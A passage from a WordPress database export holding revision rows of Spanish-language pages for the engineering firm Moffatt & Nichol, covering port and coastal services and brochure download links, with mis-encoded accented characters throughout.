vÃas navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilizaciÃ³n de un puerto. Moffatt & Nichol ha desarrollado un modelo avanzado de trÃ¡fico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el trÃ¡fico de naves comerciales en puerto hasta operaciones de trÃ¡fico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Servicios portuarios','','inherit','open','open','','357-revision-2','','','2012-06-13 09:26:45','2012-06-13 09:26:45','',357,'http://moffattnichol.com/spanish/357-revision-2/',0,'revision','',0),(2426,1,'2012-05-17 12:03:10','2012-05-17 12:03:10','<div class=\"content_faq\">\r\n       [anything_slides cat=coastal-environmental-and-water-resources width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>recursos costeros, medioambientales e hÃdricos</h3> Moffatt & Nichol fue una de las primeras firmas de ingenierÃa en el mundo en adoptar el concepto de ingenierÃa costera moderna: modelaciÃ³n, comprensiÃ³n y diseÃ±o para los procesos que dan forma a nuestras lÃneas costeras, puertos y rÃos. Hoy en dÃa, puede decirse que la firma cuenta con uno los mayores equipos de ingenieros costeros en NorteamÃ©rica. Nuestros ingenieros de recursos costeros, medioambientales e hÃdricos se enfocan en el complicado ambiente donde la tierra entra en contacto con el agua y proporcionan soluciones para protecciÃ³n de riberas, gestiÃ³n regional de la arena, restauraciÃ³n del ecosistema, gestiÃ³n de material dragado y su reutilizaciÃ³n beneficiosa, navegaciÃ³n de buques, operaciones de amarre y atraque, recursos hÃdricos y gestiÃ³n de aguas	pluviales. \r\n\r\nEn la era actual de aumento de la densidad poblacional en las zonas costeras y de las preocupaciones sobre el cambio climÃ¡tico, los especialistas en recursos costeros, medioambientales e hÃdricos de Moffatt & Nichol son pioneros en el desarrollo de soluciones prÃ¡cticas para estos desafÃos. \r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/coastal-environmental-and-water-resources-services/\">Examinar los servicios costeros, medioambientales y de recursos hÃdricos >></a></div>\r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS </strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N MEDIOAMBIENTAL</strong><br />\r\n                La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de aÃ±os de experiencia con estimulantes proyectos en todo el mundo. Si bien las firmas medioambientales tradicionales</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS</strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos. Hoy, la firma ofrece</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUMENTO DEL NIVEL DEL MAR</strong><br />\r\n              Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglÃ©s), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa para determinar los impactos del SLR en el frente costero</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">INFORME TÃ‰CNICO SOBRE EL AUMENTO DEL NIVEL DEL MAR Y EL CAMBIO CLIMÃTICO</strong><br />\r\n                Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglÃ©s), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_twp/SEA2LEVEL2RISE2WHITE2PAPER.PDF\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-6.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE DRAGADO</strong><br />\r\n                Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados de ingenierÃa y gestiÃ³n de la construcciÃ³n para proyectos de dragado en el mar abierto,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>   \r\n        </div>\r\n         </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Recursos costeros, medioambientales e hÃdricos','','inherit','open','open','','51-revision-3','','','2012-05-17 12:03:10','2012-05-17 12:03:10','',51,'http://moffattnichol.com/spanish/51-revision-3/',0,'revision','',0),(2427,1,'2012-06-13 09:33:15','2012-06-13 09:33:15','<div class=\"content_faq\">\r\n       [anything_slides cat=coastal-environmental-and-water-resources width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>recursos costeros, medioambientales e hÃdricos</h3> Moffatt & Nichol fue una de las primeras firmas de ingenierÃa en el mundo en adoptar el concepto de ingenierÃa costera moderna: modelaciÃ³n, comprensiÃ³n y diseÃ±o para los procesos que dan forma a nuestras lÃneas costeras, puertos y rÃos. Hoy en dÃa, puede decirse que la firma cuenta con uno los mayores equipos de ingenieros costeros en NorteamÃ©rica. Nuestros ingenieros de recursos costeros, medioambientales e hÃdricos se enfocan en el complicado ambiente donde la tierra entra en contacto con el agua y proporcionan soluciones para protecciÃ³n de riberas, gestiÃ³n regional de la arena, restauraciÃ³n del ecosistema, gestiÃ³n de material dragado y su reutilizaciÃ³n beneficiosa, navegaciÃ³n de buques, operaciones de amarre y atraque, recursos hÃdricos y gestiÃ³n de aguas	pluviales. \r\n\r\nEn la era actual de aumento de la densidad poblacional en las zonas costeras y de las preocupaciones sobre el cambio climÃ¡tico, los especialistas en recursos costeros, medioambientales e hÃdricos de Moffatt & Nichol son pioneros en el desarrollo de soluciones prÃ¡cticas para estos desafÃos. \r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/coastal-environmental-water-resources/coastal-environmental-and-water-resources-services/\">Examinar los servicios costeros, medioambientales y de recursos hÃdricos >></a></div>\r\n</div>\r\n         <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS </strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N MEDIOAMBIENTAL</strong><br />\r\n                La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de aÃ±os de experiencia con estimulantes proyectos en todo el mundo. Si bien las firmas medioambientales tradicionales</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE RECURSOS COSTEROS, MEDIOAMBIENTALES E HÃDRICOS</strong><br />\r\n                El prestigio de Moffatt & Nichol de excelencia en el entorno de frentes costeros fue desarrollado a lo largo de aÃ±os de experiencia con estimulantes proyectos. Hoy, la firma ofrece</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE AUMENTO DEL NIVEL DEL MAR</strong><br />\r\n              Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglÃ©s), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa para determinar los impactos del SLR en el frente costero</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n        <div class=\"brochure-wrapper-ports\">\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-5.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">INFORME TÃ‰CNICO SOBRE EL AUMENTO DEL NIVEL DEL MAR Y EL CAMBIO CLIMÃTICO</strong><br />\r\n                Este documento presenta una discusiÃ³n sobre el estado de la ciencia en relaciÃ³n con el Aumento del Nivel del Mar (SLR, por sus siglas en inglÃ©s), la base lÃ³gica y la necesidad de tratarla, asÃ como una metodologÃa</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_twp/SEA2LEVEL2RISE2WHITE2PAPER.PDF\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-6.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE DRAGADO</strong><br />\r\n                Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados de ingenierÃa y gestiÃ³n de la construcciÃ³n para proyectos de dragado en el mar abierto,</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>   \r\n        </div>\r\n         </div>\r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Recursos costeros, medioambientales e hÃdricos','','inherit','open','open','','51-revision-4','','','2012-06-13 09:33:15','2012-06-13 09:33:15','',51,'http://moffattnichol.com/spanish/51-revision-4/',0,'revision','',0),(2428,1,'2012-02-09 14:49:43','2012-02-09 09:19:43','<div class=\"content_faq\">\n  <div class=\"brochure-wrapper-new\">\n    <h3>folletos-espaÃ±ol</h3>\n    <br />\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingenierÃa y consultorÃa a la industria marÃtima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÃ“N DE GRANELES</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Moffatt & Nichol, una de las empresas de ingenierÃa y planeamiento marÃtimo mÃ¡s destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseÃ±o para instalaciones y terminales de manejo de materiales a granel.<br />\n        <br />\n        <br />\n        <br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n  <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n  <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n  <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n    <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n  </div>\n    <div class=\"brochure-wrapper-two\">\n    <div class=\"brochure-one-leftpart\">\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\n      </div>\n      <span class=\"moreheadlines-newone fr\"></span></div>\n    \n  </div>\n  </div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\n','Folletos-EspaÃ±ol','','inherit','open','open','','1995-revision','','','2012-02-09 14:49:43','2012-02-09 09:19:43','',1995,'http://moffattnichol.com/spanish/1995-revision/',0,'revision','',0),(2429,1,'2012-06-14 12:15:15','2012-06-14 12:15:15','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÃ“N GENERAL</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingenierÃa y consultorÃa a la industria marÃtima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÃ“N DE GRANELES</span> <br />\r\n        <em 